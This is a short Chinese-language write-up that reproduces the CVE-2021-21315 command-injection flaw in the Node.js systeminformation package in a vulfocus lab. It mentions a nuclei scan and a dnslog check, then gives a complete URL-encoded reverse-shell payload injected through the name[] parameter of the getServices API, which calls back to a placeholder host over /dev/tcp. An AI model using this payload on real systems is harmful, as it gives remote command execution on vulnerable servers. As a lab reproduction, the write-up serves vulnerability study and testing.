0x01 漏洞描述

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块，它包含多种轻量级功能，可以检索详细的硬件和系统相关信息 npm团队发布安全公告，Node.js库中的systeminformation软件包中存在一个命令注入漏洞（CVE-2021-21315），其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。

0x02 漏洞环境

vulfocus CVE-2021-21315 node.js

0x03 漏洞复现

nuclei扫描

dnslog请求

如果返回不了，则将wget改成ping命令。

反弹shell

将空格、&符号url编码。

<http://vulfocus.fofa.so:38211/api/getServices?name[]=$(bash%20-c%20%27exec%20bash%20-i%20%26%3E/dev/tcp/x.x.x.x/8888%20%3C%261%27)>